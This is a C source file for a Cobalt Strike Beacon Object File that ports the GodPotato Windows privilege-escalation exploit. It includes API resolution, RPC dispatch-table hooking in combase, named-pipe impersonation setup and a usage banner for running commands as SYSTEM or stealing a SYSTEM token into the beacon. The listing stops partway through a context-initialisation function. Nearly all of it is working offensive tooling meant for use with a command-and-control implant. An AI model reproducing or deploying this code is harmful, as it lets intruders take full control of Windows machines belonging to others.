Files
incursi0n 1cd2a5a51e Bug fix
2026-04-16 22:22:24 +08:00

1987 lines
79 KiB
C

/*
* GodPotato BOF - Port from https://github.com/BeichenDream/GodPotato
* All WinAPIs resolved via LoadLibrary/GetProcAddress except those two.
* First argument: command string (BeaconDataParse/BeaconDataExtract). Default: "cmd /c whoami"
*/
#define SECURITY_WIN32
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <objidl.h>
#include <stdlib.h>
#include <string.h>
#include "beacon.h"
#ifndef GOD_VERBOSE_LOGS
#define GOD_VERBOSE_LOGS 0
#endif
#if GOD_VERBOSE_LOGS
#define LOGI(...) BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__)
#else
#define LOGI(...) do { } while (0)
#endif
#define LOGK(...) BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__)
#ifdef _WIN64
#define PTR_SIZE 8
#define RPC_SERVER_INTERFACE_SIZE 92
#else
#define PTR_SIZE 4
#define RPC_SERVER_INTERFACE_SIZE 68
#endif
#define OBJREF_SIGNATURE 0x574f454d
#define EPM_PROTOCOL_TCP 0x07
#define EPM_PROTOCOL_NP 0x0f
#define PAGE_READWRITE 0x04
#define SYSTEM_EXTENDED_HANDLE_INFO 0x40
#define STATUS_SUCCESS 0
#define STATUS_INFO_LENGTH_MISMATCH ((LONG)0xC0000004)
#define GOD_ERROR_PIPE_CONNECTED 0x217
#define GOD_ERROR_IO_PENDING 997
#define GOD_WAIT_TIMEOUT 258
#define GOD_FILE_FLAG_OVERLAPPED 0x40000000
#define GOD_PIPE_ACCESS_DUPLEX 0x00000003
#define GOD_PIPE_TYPE_BYTE 0x00000000
#define GOD_PIPE_READMODE_BYTE 0x00000000
#define GOD_PIPE_WAIT 0
#define GOD_PIPE_UNLIMITED_INSTANCES 255
#define GOD_TOKEN_QUERY 0x0008
#define GOD_TOKEN_ASSIGN_PRIMARY 0x0001
#define GOD_TOKEN_DUPLICATE 0x0002
#define GOD_TOKEN_IMPERSONATION_LEVEL 3
#define GOD_TokenPrimary 1
#define GOD_TokenImpersonation 2
#define GOD_TokenUser 1
#define GOD_TokenIntegrityLevel 25
#define GOD_TokenImpersonationLevel 3
#define GOD_TokenType 6
#define GOD_CREATE_NO_WINDOW 0x08000000
#define GOD_STARTF_USESTDHANDLES 0x00000100
#define GOD_HANDLE_FLAG_INHERIT 0x00000001
#define GOD_DUPLICATE_HANDLE_ACCESS 0x00000040
#define GOD_QUERY_INFORMATION 0x00000400
#define GOD_TOKEN_ELEVATION (GOD_TOKEN_QUERY|GOD_TOKEN_ASSIGN_PRIMARY|GOD_TOKEN_DUPLICATE|0x0004|0x0020|0x0080|0x0100)
#define GOD_SystemIntegrityRid 0x00004000
typedef HMODULE (WINAPI *fn_LoadLibraryA)(LPCSTR);
typedef FARPROC (WINAPI *fn_GetProcAddress)(HMODULE, LPCSTR);
typedef HANDLE (WINAPI *fn_GetCurrentProcess)(void);
typedef HANDLE (WINAPI *fn_GetCurrentThread)(void);
typedef BOOL (WINAPI *fn_CreateProcessW)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
typedef HANDLE (WINAPI *fn_CreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef BOOL (WINAPI *fn_CloseHandle)(HANDLE);
typedef HLOCAL (WINAPI *fn_LocalFree)(HLOCAL);
typedef HMODULE (WINAPI *fn_GetModuleHandleW)(LPCWSTR);
typedef BOOL (WINAPI *fn_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HANDLE (WINAPI *fn_CreateNamedPipeW)(LPCWSTR, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, LPSECURITY_ATTRIBUTES);
typedef BOOL (WINAPI *fn_ConnectNamedPipe)(HANDLE, LPOVERLAPPED);
typedef HANDLE (WINAPI *fn_CreateEventW)(LPSECURITY_ATTRIBUTES, BOOL, BOOL, LPCWSTR);
typedef DWORD (WINAPI *fn_WaitForSingleObject)(HANDLE, DWORD);
typedef HANDLE (WINAPI *fn_CreateFileW)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
typedef BOOL (WINAPI *fn_CreatePipe)(PHANDLE, PHANDLE, LPSECURITY_ATTRIBUTES, DWORD);
typedef BOOL (WINAPI *fn_SetHandleInformation)(HANDLE, DWORD, DWORD);
typedef BOOL (WINAPI *fn_PeekNamedPipe)(HANDLE, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD);
typedef BOOL (WINAPI *fn_ReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
typedef HANDLE (WINAPI *fn_OpenProcess)(DWORD, BOOL, DWORD);
typedef BOOL (WINAPI *fn_DuplicateHandle)(HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD);
typedef VOID (WINAPI *fn_Sleep)(DWORD);
typedef DWORD (WINAPI *fn_GetCurrentProcessId)(void);
typedef DWORD (WINAPI *fn_GetLastError)(void);
typedef UINT (WINAPI *fn_GetSystemDirectoryW)(LPWSTR, UINT);
typedef int (WINAPI *fn_MultiByteToWideChar)(UINT, DWORD, LPCSTR, int, LPWSTR, int);
typedef BOOL (WINAPI *fn_ConvertStringSecurityDescriptorToSecurityDescriptorW)(LPCWSTR, DWORD, PSECURITY_DESCRIPTOR*, PULONG);
typedef BOOL (WINAPI *fn_ImpersonateNamedPipeClient)(HANDLE);
typedef BOOL (WINAPI *fn_RevertToSelf)(void);
typedef BOOL (WINAPI *fn_OpenProcessToken)(HANDLE, DWORD, PHANDLE);
typedef BOOL (WINAPI *fn_OpenThreadToken)(HANDLE, DWORD, BOOL, PHANDLE);
typedef BOOL (WINAPI *fn_GetTokenInformation)(HANDLE, DWORD, LPVOID, DWORD, PDWORD);
typedef BOOL (WINAPI *fn_DuplicateTokenEx)(HANDLE, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, PHANDLE);
typedef BOOL (WINAPI *fn_CreateProcessWithTokenW)(HANDLE, DWORD, LPCWSTR, LPWSTR, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
typedef BOOL (WINAPI *fn_CreateProcessAsUserW)(HANDLE, LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
typedef BOOL (WINAPI *fn_ImpersonateLoggedOnUser)(HANDLE);
typedef LPVOID (WINAPI *fn_GetSidSubAuthority)(PSID, DWORD);
typedef PUCHAR (WINAPI *fn_GetSidSubAuthorityCount)(PSID);
typedef LONG (WINAPI *fn_NtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);
typedef LONG (WINAPI *fn_NtDuplicateObject)(HANDLE, HANDLE, HANDLE, PHANDLE, ACCESS_MASK, ULONG, ULONG);
typedef HRESULT (WINAPI *fn_CoInitializeEx)(LPVOID, DWORD);
typedef void (WINAPI *fn_CoUninitialize)(void);
typedef HRESULT (WINAPI *fn_CoUnmarshalInterface)(IStream*, REFIID, LPVOID*);
typedef HRESULT (WINAPI *fn_CreateBindCtx)(DWORD, IBindCtx**);
typedef HRESULT (WINAPI *fn_CreateObjrefMoniker)(IUnknown*, IMoniker**);
typedef void* (WINAPI *fn_CoTaskMemAlloc)(SIZE_T);
typedef void (WINAPI *fn_CoTaskMemFree)(LPVOID);
typedef HRESULT (WINAPI *fn_CoRegisterClassObject)(REFCLSID, IUnknown*, DWORD, DWORD, DWORD*);
typedef HRESULT (WINAPI *fn_CoRevokeClassObject)(DWORD);
typedef HRESULT (WINAPI *fn_CoCreateInstance)(REFCLSID, IUnknown*, DWORD, REFIID, void**);
typedef HRESULT (WINAPI *fn_CoCreateInstanceEx)(REFCLSID, IUnknown*, DWORD, COSERVERINFO*, DWORD, MULTI_QI*);
static struct {
HMODULE hKernel32;
HMODULE hNtdll;
HMODULE hAdvapi32;
HMODULE hOle32;
fn_GetCurrentProcess pGetCurrentProcess;
fn_GetCurrentThread pGetCurrentThread;
fn_CreateProcessW pCreateProcessW;
fn_CreateThread pCreateThread;
fn_CloseHandle pCloseHandle;
fn_LocalFree pLocalFree;
fn_GetModuleHandleW pGetModuleHandleW;
fn_VirtualProtect pVirtualProtect;
fn_CreateNamedPipeW pCreateNamedPipeW;
fn_ConnectNamedPipe pConnectNamedPipe;
fn_CreateEventW pCreateEventW;
fn_WaitForSingleObject pWaitForSingleObject;
fn_CreateFileW pCreateFileW;
fn_CreatePipe pCreatePipe;
fn_SetHandleInformation pSetHandleInformation;
fn_PeekNamedPipe pPeekNamedPipe;
fn_ReadFile pReadFile;
fn_OpenProcess pOpenProcess;
fn_DuplicateHandle pDuplicateHandle;
fn_Sleep pSleep;
fn_GetCurrentProcessId pGetCurrentProcessId;
fn_GetLastError pGetLastError;
fn_GetSystemDirectoryW pGetSystemDirectoryW;
fn_MultiByteToWideChar pMultiByteToWideChar;
fn_ConvertStringSecurityDescriptorToSecurityDescriptorW pConvertStringSecurityDescriptorToSecurityDescriptorW;
fn_ImpersonateNamedPipeClient pImpersonateNamedPipeClient;
fn_RevertToSelf pRevertToSelf;
fn_OpenProcessToken pOpenProcessToken;
fn_OpenThreadToken pOpenThreadToken;
fn_GetTokenInformation pGetTokenInformation;
fn_DuplicateTokenEx pDuplicateTokenEx;
fn_CreateProcessWithTokenW pCreateProcessWithTokenW;
fn_CreateProcessAsUserW pCreateProcessAsUserW;
fn_ImpersonateLoggedOnUser pImpersonateLoggedOnUser;
fn_GetSidSubAuthority pGetSidSubAuthority;
fn_GetSidSubAuthorityCount pGetSidSubAuthorityCount;
fn_NtQuerySystemInformation pNtQuerySystemInformation;
fn_NtDuplicateObject pNtDuplicateObject;
fn_CoInitializeEx pCoInitializeEx;
fn_CoUninitialize pCoUninitialize;
fn_CoUnmarshalInterface pCoUnmarshalInterface;
fn_CreateBindCtx pCreateBindCtx;
fn_CreateObjrefMoniker pCreateObjrefMoniker;
fn_CoTaskMemAlloc pCoTaskMemAlloc;
fn_CoTaskMemFree pCoTaskMemFree;
fn_CoRegisterClassObject pCoRegisterClassObject;
fn_CoRevokeClassObject pCoRevokeClassObject;
fn_CoCreateInstance pCoCreateInstance;
fn_CoCreateInstanceEx pCoCreateInstanceEx;
} api;
/* RPC / MIDL structures (minimal for pattern and dispatch) - prefixed to avoid conflict with system headers */
typedef struct {
ULONG Length;
UCHAR InterfaceId[20];
UCHAR TransferSyntax[20];
void* DispatchTable;
ULONG RpcProtseqEndpointCount;
void* RpcProtseqEndpoint;
void* DefaultManagerEpv;
void* InterpreterInfo;
ULONG Flags;
} GOD_RPC_SERVER_INTERFACE;
typedef struct {
ULONG DispatchTableCount;
void* DispatchTable;
LONG_PTR Reserved;
} GOD_RPC_DISPATCH_TABLE;
typedef struct {
void* pStubDesc;
void* DispatchTable;
void* ProcString;
void* FmtStringOffset;
void* ThunkTable;
void* pTransferSyntax;
void* nCount;
void* pSyntaxInfo;
} GOD_MIDL_SERVER_INFO;
typedef struct {
PVOID ObjectPointer;
PVOID ProcessID;
PVOID HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTrackIndex;
USHORT ObjectType;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;
typedef struct {
PVOID NumberOfHandles;
PVOID Reserved;
} SYSTEM_HANDLE_INFORMATION_EX_HEADER;
/* GodPotato context */
static WCHAR server_pipe[128];
static WCHAR client_pipe[128];
static WCHAR client_pipe_extra[128];
static char current_pipe_name[48];
static void* combase_base;
static SIZE_T combase_size;
static void* dispatch_table_ptr;
static void* use_protseq_ptr;
static unsigned char use_protseq_param_count;
static void* hook_ptr_storage;
static int is_hook;
static int is_start;
static DWORD dispatch_table_old_protect;
static volatile HANDLE system_token;
static volatile int pipe_connected;
static int token_type_index = -1;
static GUID trigger_clsid;
static WCHAR trigger_clsid_w[40];
static void log_hr_status(const char* label, HRESULT hr)
{
LOGI( "[*] %s hr=0x%08x (%ld)\n", label, (unsigned)hr, (long)hr);
}
static void log_last_error_status(const char* label)
{
DWORD err = api.pGetLastError ? api.pGetLastError() : 0;
LOGI( "[*] %s last_error=%lu (0x%08lx)\n",
label, (unsigned long)err, (unsigned long)err);
}
static void append_hex_ascii(char* out, int* pos, unsigned long value)
{
static const char hex[] = "0123456789abcdef";
int shift;
for (shift = (int)(sizeof(unsigned long) * 8) - 4; shift >= 0; shift -= 4)
out[(*pos)++] = hex[(value >> shift) & 0xf];
}
static unsigned long next_rng_value(unsigned long* state)
{
unsigned long x = *state;
x ^= x << 13;
x ^= x >> 17;
x ^= x << 5;
if (!x) x = 0x6d2b79f5UL;
*state = x;
return x;
}
static void append_hex_fixed_ascii(char* out, int* pos, unsigned long value, int digits)
{
static const char hex[] = "0123456789abcdef";
int shift = (digits - 1) * 4;
for (; shift >= 0; shift -= 4)
out[(*pos)++] = hex[(value >> shift) & 0xf];
}
static int ascii_token_equals(const char* s, int len, const char* lit)
{
int i = 0;
if (!s || !lit || len <= 0)
return 0;
while (lit[i] != '\0') {
char a, b;
if (i >= len)
return 0;
a = s[i];
b = lit[i];
if (a >= 'A' && a <= 'Z') a = (char)(a + ('a' - 'A'));
if (b >= 'A' && b <= 'Z') b = (char)(b + ('a' - 'A'));
if (a != b)
return 0;
i++;
}
return i == len;
}
static int is_help_token(const char* s, int len)
{
return ascii_token_equals(s, len, "help") ||
ascii_token_equals(s, len, "-h") ||
ascii_token_equals(s, len, "--help") ||
ascii_token_equals(s, len, "/?");
}
static void print_usage(void)
{
static char usage[] =
"============================================================================================\n"
"Use: godpotato [token] [-cmd <command>] [-pipe <name>]\n"
"Argument Description\n"
"(none) Run \"cmd /c whoami\" as SYSTEM.\n"
"token Apply a SYSTEM token to the current Beacon with BeaconUseToken().\n"
"-cmd <cmd> Run a command as SYSTEM in a spawned process.\n"
"-pipe <name> Use a custom named pipe. Default is a random pipe name.\n"
"help,-h,--help,/? Show this help.\n"
"\n"
"Examples:\n"
"godpotato\n"
"godpotato token\n"
"godpotato help\n"
"godpotato -cmd \"cmd /c whoami /priv\"\n"
"godpotato -cmd \"cmd /c dir\"\n"
"godpotato -cmd \"cmd /c whoami\" -pipe \"mycustompipe\"\n"
"============================================================================================\n";
BeaconOutput(CALLBACK_OUTPUT, usage, sizeof(usage) - 1);
}
static void parse_command_and_pipe_text(char* text, int text_len, char** out_cmd, int* out_cmd_len, char** out_pipe, int* out_pipe_len)
{
char* p = text;
int l = text_len;
int pipe_off = -1;
int i;
if (out_cmd) *out_cmd = NULL;
if (out_cmd_len) *out_cmd_len = 0;
if (out_pipe) *out_pipe = NULL;
if (out_pipe_len) *out_pipe_len = 0;
if (!text || text_len <= 0)
return;
while (l > 0 && (*p == ' ' || *p == '\t' || *p == '\r' || *p == '\n')) {
p++;
l--;
}
while (l > 0 && (p[l - 1] == '\0' || p[l - 1] == ' ' || p[l - 1] == '\t' || p[l - 1] == '\r' || p[l - 1] == '\n'))
l--;
if (l <= 0)
return;
for (i = 0; i + 5 < l; i++) {
char c1 = p[i + 1], c2 = p[i + 2], c3 = p[i + 3], c4 = p[i + 4];
if (c1 >= 'A' && c1 <= 'Z') c1 = (char)(c1 + ('a' - 'A'));
if (c2 >= 'A' && c2 <= 'Z') c2 = (char)(c2 + ('a' - 'A'));
if (c3 >= 'A' && c3 <= 'Z') c3 = (char)(c3 + ('a' - 'A'));
if (c4 >= 'A' && c4 <= 'Z') c4 = (char)(c4 + ('a' - 'A'));
if ((i == 0 || p[i - 1] == ' ' || p[i - 1] == '\t') &&
p[i] == '-' && c1 == 'p' && c2 == 'i' && c3 == 'p' && c4 == 'e' &&
(p[i + 5] == ' ' || p[i + 5] == '\t')) {
pipe_off = i;
break;
}
}
if (pipe_off >= 0) {
char* q = p + pipe_off + 6;
int m = l - (pipe_off + 6);
while (m > 0 && (*q == ' ' || *q == '\t')) { q++; m--; }
while (m > 0 && (q[m - 1] == '\0' || q[m - 1] == ' ' || q[m - 1] == '\t' || q[m - 1] == '\r' || q[m - 1] == '\n')) m--;
if (m > 0) {
if (out_pipe) *out_pipe = q;
if (out_pipe_len) *out_pipe_len = m;
}
}
if (l > 5 &&
p[0] == '-' &&
((p[1] | 0x20) == 'c') &&
((p[2] | 0x20) == 'm') &&
((p[3] | 0x20) == 'd') &&
(p[4] == ' ' || p[4] == '\t')) {
char* q = p + 5;
int m = (pipe_off >= 0) ? (pipe_off - 5) : (l - 5);
while (m > 0 && (*q == ' ' || *q == '\t')) { q++; m--; }
while (m > 0 && (q[m - 1] == '\0' || q[m - 1] == ' ' || q[m - 1] == '\t' || q[m - 1] == '\r' || q[m - 1] == '\n')) m--;
if (m > 0) {
if (out_cmd) *out_cmd = q;
if (out_cmd_len) *out_cmd_len = m;
}
return;
}
if (pipe_off == 0)
return;
{
char* q = p;
int m = (pipe_off >= 0) ? pipe_off : l;
while (m > 0 && (q[m - 1] == '\0' || q[m - 1] == ' ' || q[m - 1] == '\t' || q[m - 1] == '\r' || q[m - 1] == '\n')) m--;
if (m > 0) {
if (out_cmd) *out_cmd = q;
if (out_cmd_len) *out_cmd_len = m;
}
}
}
static void init_trigger_clsid(const void* seed_ptr)
{
unsigned long seed = api.pGetCurrentProcessId ? (unsigned long)api.pGetCurrentProcessId() : 1;
unsigned long ptr_seed = (unsigned long)(ULONG_PTR)seed_ptr;
unsigned long r;
char clsid_ascii[40];
int pos = 0;
int i;
seed ^= ptr_seed * 0x9e3779b9UL;
seed ^= seed >> 15;
seed *= 0x85ebca6bUL;
seed ^= seed >> 13;
if (!seed) seed = 0x4f1bbcdcUL;
r = next_rng_value(&seed);
trigger_clsid.Data1 = r;
r = next_rng_value(&seed);
trigger_clsid.Data2 = (USHORT)(r & 0xffff);
r = next_rng_value(&seed);
trigger_clsid.Data3 = (USHORT)(r & 0xffff);
for (i = 0; i < 8; i++) {
if ((i & 3) == 0)
r = next_rng_value(&seed);
trigger_clsid.Data4[i] = (BYTE)((r >> ((i & 3) * 8)) & 0xff);
}
append_hex_fixed_ascii(clsid_ascii, &pos, trigger_clsid.Data1, 8);
clsid_ascii[pos++] = '-';
append_hex_fixed_ascii(clsid_ascii, &pos, trigger_clsid.Data2, 4);
clsid_ascii[pos++] = '-';
append_hex_fixed_ascii(clsid_ascii, &pos, trigger_clsid.Data3, 4);
clsid_ascii[pos++] = '-';
append_hex_fixed_ascii(clsid_ascii, &pos, trigger_clsid.Data4[0], 2);
append_hex_fixed_ascii(clsid_ascii, &pos, trigger_clsid.Data4[1], 2);
clsid_ascii[pos++] = '-';
for (i = 2; i < 8; i++)
append_hex_fixed_ascii(clsid_ascii, &pos, trigger_clsid.Data4[i], 2);
clsid_ascii[pos] = '\0';
api.pMultiByteToWideChar(CP_ACP, 0, clsid_ascii, -1, trigger_clsid_w, (int)(sizeof(trigger_clsid_w) / sizeof(trigger_clsid_w[0])));
LOGI( "[*] init_trigger_clsid: %s\n", clsid_ascii);
}
static void build_pipe_strings(const char* requested_name, int requested_len, const void* seed_ptr)
{
static const char alnum[] = "abcdefghijklmnopqrstuvwxyz0123456789";
const char server_prefix[] = "\\\\.\\pipe\\";
const char server_suffix[] = "\\pipe\\epmapper";
const char client_prefix[] = "ncacn_np:localhost/pipe/";
const char client_suffix[] = "[\\pipe\\epmapper]";
const char client_extra_prefix[] = "ncacn_ip_tcp:";
unsigned long pid_seed = api.pGetCurrentProcessId ? (unsigned long)api.pGetCurrentProcessId() : 1;
unsigned long ptr_seed = (unsigned long)(ULONG_PTR)seed_ptr;
unsigned long rng;
int name_len;
int i, pos = 0;
char name_buf[48];
char server_ascii[128];
char client_ascii[128];
char client_extra_ascii[128];
int server_len = 0;
int client_len = 0;
int client_extra_len = 0;
/* seed from pid XOR ptr (ASLR provides per-run diversity) */
rng = pid_seed ^ (ptr_seed * 0xc4ceb9feUL) ^ 0x9e3779b9UL;
rng ^= rng >> 15; rng *= 0x85ebca6bUL; rng ^= rng >> 13;
if (!rng) rng = 0x5a4f3c2eUL;
if (requested_name && requested_len > 0) {
for (i = 0; i < requested_len && pos < (int)sizeof(name_buf) - 1; i++) {
char c = requested_name[i];
if ((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') ||
(c >= '0' && c <= '9') || c == '-' || c == '_' || c == '.') {
name_buf[pos++] = c;
} else {
name_buf[pos++] = '_';
}
}
} else {
/* random length 8..20 */
rng ^= rng << 13; rng ^= rng >> 17; rng ^= rng << 5;
name_len = 8 + (int)(rng % 13U);
for (i = 0; i < name_len; i++) {
rng ^= rng << 13; rng ^= rng >> 17; rng ^= rng << 5;
name_buf[pos++] = alnum[rng % 36U];
}
}
name_buf[pos] = '\0';
for (i = 0; name_buf[i] && i < (int)sizeof(current_pipe_name) - 1; i++)
current_pipe_name[i] = name_buf[i];
current_pipe_name[i] = '\0';
for (i = 0; server_prefix[i] && server_len < (int)sizeof(server_ascii) - 1; i++)
server_ascii[server_len++] = server_prefix[i];
for (i = 0; name_buf[i] && server_len < (int)sizeof(server_ascii) - 1; i++)
server_ascii[server_len++] = name_buf[i];
for (i = 0; server_suffix[i] && server_len < (int)sizeof(server_ascii) - 1; i++)
server_ascii[server_len++] = server_suffix[i];
server_ascii[server_len] = '\0';
for (i = 0; client_prefix[i] && client_len < (int)sizeof(client_ascii) - 1; i++)
client_ascii[client_len++] = client_prefix[i];
for (i = 0; name_buf[i] && client_len < (int)sizeof(client_ascii) - 1; i++)
client_ascii[client_len++] = name_buf[i];
for (i = 0; client_suffix[i] && client_len < (int)sizeof(client_ascii) - 1; i++)
client_ascii[client_len++] = client_suffix[i];
client_ascii[client_len] = '\0';
for (i = 0; client_extra_prefix[i] && client_extra_len < (int)sizeof(client_extra_ascii) - 1; i++)
client_extra_ascii[client_extra_len++] = client_extra_prefix[i];
rng ^= rng << 13; rng ^= rng >> 17; rng ^= rng << 5;
name_len = 8 + (int)(rng % 13U);
for (i = 0; i < name_len && client_extra_len < (int)sizeof(client_extra_ascii) - 1; i++) {
rng ^= rng << 13; rng ^= rng >> 17; rng ^= rng << 5;
client_extra_ascii[client_extra_len++] = alnum[rng % 36U];
}
client_extra_ascii[client_extra_len] = '\0';
api.pMultiByteToWideChar(CP_ACP, 0, server_ascii, -1, server_pipe, (int)(sizeof(server_pipe) / sizeof(server_pipe[0])));
api.pMultiByteToWideChar(CP_ACP, 0, client_ascii, -1, client_pipe, (int)(sizeof(client_pipe) / sizeof(client_pipe[0])));
api.pMultiByteToWideChar(CP_ACP, 0, client_extra_ascii, -1, client_pipe_extra, (int)(sizeof(client_pipe_extra) / sizeof(client_pipe_extra[0])));
LOGI(
"[*] build_pipe_strings: requested_len=%d seed=%p name=%s\n",
requested_len, seed_ptr, current_pipe_name);
LOGI( "[*] build_pipe_strings: server=%ls\n", server_pipe);
LOGI( "[*] build_pipe_strings: client=%ls\n", client_pipe);
LOGI( "[*] build_pipe_strings: client_extra=%ls\n", client_pipe_extra);
}
/* Forward */
static int use_protseq_hook_impl(void* ppdsaNewBindings, void* ppdsaNewSecurity);
typedef int (WINAPI *fn_use_protseq4)(void*, void*, void*, void*);
typedef int (WINAPI *fn_use_protseq5)(void*, void*, void*, void*, void*);
typedef int (WINAPI *fn_use_protseq6)(void*, void*, void*, void*, void*, void*);
typedef int (WINAPI *fn_use_protseq7)(void*, void*, void*, void*, void*, void*, void*);
typedef int (WINAPI *fn_use_protseq8)(void*, void*, void*, void*, void*, void*, void*, void*);
typedef int (WINAPI *fn_use_protseq9)(void*, void*, void*, void*, void*, void*, void*, void*, void*);
typedef int (WINAPI *fn_use_protseq10)(void*, void*, void*, void*, void*, void*, void*, void*, void*, void*);
typedef int (WINAPI *fn_use_protseq11)(void*, void*, void*, void*, void*, void*, void*, void*, void*, void*, void*);
typedef int (WINAPI *fn_use_protseq12)(void*, void*, void*, void*, void*, void*, void*, void*, void*, void*, void*, void*);
typedef int (WINAPI *fn_use_protseq13)(void*, void*, void*, void*, void*, void*, void*, void*, void*, void*, void*, void*, void*);
typedef int (WINAPI *fn_use_protseq14)(void*, void*, void*, void*, void*, void*, void*, void*, void*, void*, void*, void*, void*, void*);
static int WINAPI hook4(void* p0, void* p1, void* p2, void* p3) { return use_protseq_hook_impl(p2, p3); }
static int WINAPI hook5(void* p0, void* p1, void* p2, void* p3, void* p4) { return use_protseq_hook_impl(p3, p4); }
static int WINAPI hook6(void* p0, void* p1, void* p2, void* p3, void* p4, void* p5) { return use_protseq_hook_impl(p4, p5); }
static int WINAPI hook7(void* p0, void* p1, void* p2, void* p3, void* p4, void* p5, void* p6) { return use_protseq_hook_impl(p5, p6); }
static int WINAPI hook8(void* p0, void* p1, void* p2, void* p3, void* p4, void* p5, void* p6, void* p7) { return use_protseq_hook_impl(p6, p7); }
static int WINAPI hook9(void* p0, void* p1, void* p2, void* p3, void* p4, void* p5, void* p6, void* p7, void* p8) { return use_protseq_hook_impl(p7, p8); }
static int WINAPI hook10(void* p0, void* p1, void* p2, void* p3, void* p4, void* p5, void* p6, void* p7, void* p8, void* p9) { return use_protseq_hook_impl(p8, p9); }
static int WINAPI hook11(void* p0, void* p1, void* p2, void* p3, void* p4, void* p5, void* p6, void* p7, void* p8, void* p9, void* p10) { return use_protseq_hook_impl(p9, p10); }
static int WINAPI hook12(void* p0, void* p1, void* p2, void* p3, void* p4, void* p5, void* p6, void* p7, void* p8, void* p9, void* p10, void* p11) { return use_protseq_hook_impl(p10, p11); }
static int WINAPI hook13(void* p0, void* p1, void* p2, void* p3, void* p4, void* p5, void* p6, void* p7, void* p8, void* p9, void* p10, void* p11, void* p12) { return use_protseq_hook_impl(p11, p12); }
static int WINAPI hook14(void* p0, void* p1, void* p2, void* p3, void* p4, void* p5, void* p6, void* p7, void* p8, void* p9, void* p10, void* p11, void* p12, void* p13) { return use_protseq_hook_impl(p12, p13); }
static int use_protseq_hook_impl(void* ppdsaNewBindings, void* ppdsaNewSecurity)
{
const WCHAR* endpoints[] = { client_pipe, client_pipe_extra };
int entry_size = 3;
if (!ppdsaNewBindings) return -1;
int memory_size;
size_t i, j;
short* pdsa;
(void)ppdsaNewSecurity;
for (i = 0; i < sizeof(endpoints) / sizeof(endpoints[0]); i++)
entry_size += (int)(wcslen(endpoints[i]) + 1);
memory_size = entry_size * (int)sizeof(short) + 10;
pdsa = (short*)api.pCoTaskMemAlloc((SIZE_T)memory_size);
if (!pdsa) return -1;
memset(pdsa, 0, (size_t)memory_size);
{
int offset = 0;
*(short*)((char*)pdsa + offset) = (short)entry_size;
offset += 2;
*(short*)((char*)pdsa + offset) = (short)(entry_size - 2);
offset += 2;
for (i = 0; i < sizeof(endpoints) / sizeof(endpoints[0]); i++) {
const WCHAR* ep = endpoints[i];
for (j = 0; ep[j]; j++) {
*(short*)((char*)pdsa + offset) = (short)ep[j];
offset += 2;
}
offset += 2;
}
}
*(void**)((char*)ppdsaNewBindings) = pdsa;
return 0;
}
static void* get_hook_func(void)
{
void* tbl[15];
tbl[4] = (void*)hook4;
tbl[5] = (void*)hook5;
tbl[6] = (void*)hook6;
tbl[7] = (void*)hook7;
tbl[8] = (void*)hook8;
tbl[9] = (void*)hook9;
tbl[10] = (void*)hook10;
tbl[11] = (void*)hook11;
tbl[12] = (void*)hook12;
tbl[13] = (void*)hook13;
tbl[14] = (void*)hook14;
if (use_protseq_param_count >= 4 && use_protseq_param_count <= 14)
return tbl[use_protseq_param_count];
return (void*)hook4;
}
/* Sunday search */
static int sunday_search(const unsigned char* text, size_t text_len, const unsigned char* pattern, size_t pattern_len)
{
int occ[512];
size_t i, j;
/* Guard: unsigned underflow if text is shorter than pattern */
if (!text || !pattern || pattern_len == 0 || text_len < pattern_len)
return -1;
for (i = 0; i < 512; i++) occ[i] = -1;
for (i = 0; i < pattern_len; i++) occ[pattern[i] & 0xff] = (int)i;
i = 0;
while (i <= text_len - pattern_len) {
j = 0;
while (j < pattern_len && text[i + j] == pattern[j]) j++;
if (j == pattern_len) return (int)i;
i += pattern_len;
/* occ[] value is signed; subtract may wrap i — clamp to text_len to stay in bounds */
if (i < text_len) {
int adj = occ[text[i] & 0xff];
if (adj >= 0 && (size_t)adj <= i)
i -= (size_t)adj;
}
}
return -1;
}
/* Get module size from PE header */
static SIZE_T get_module_size(void* base)
{
unsigned char* p = (unsigned char*)base;
ULONG e_lfanew;
DWORD size_of_image;
if (p[0] != 'M' || p[1] != 'Z') return 0;
e_lfanew = *(ULONG*)(p + 0x3c);
if (e_lfanew > 0x1000) return 0;
p += e_lfanew;
if (p[0] != 'P' || p[1] != 'E') return 0;
#ifdef _WIN64
size_of_image = *(DWORD*)(p + 0x50);
#else
size_of_image = *(DWORD*)(p + 0x50);
#endif
return (SIZE_T)size_of_image;
}
static int init_context(void)
{
static const unsigned char orcb_guid[16] = { 0x70,0x07,0xf7,0x18,0x64,0x8e,0xcf,0x11,0x9a,0xf1,0x00,0x20,0xaf,0x6e,0x72,0xf4 };
int off;
GOD_RPC_SERVER_INTERFACE* rpc_if;
RPC_DISPATCH_TABLE rpc_dt;
MIDL_SERVER_INFO midl;
unsigned char* content;
void** dt_ptr;
short* fmt_ptr;
int i, n;
combase_base = (void*)api.pGetModuleHandleW(L"combase.dll");
if (!combase_base) {
BeaconPrintf(CALLBACK_ERROR, "[!] combase.dll not loaded\n");
return -1;
}
combase_size = get_module_size(combase_base);
if (!combase_size) {
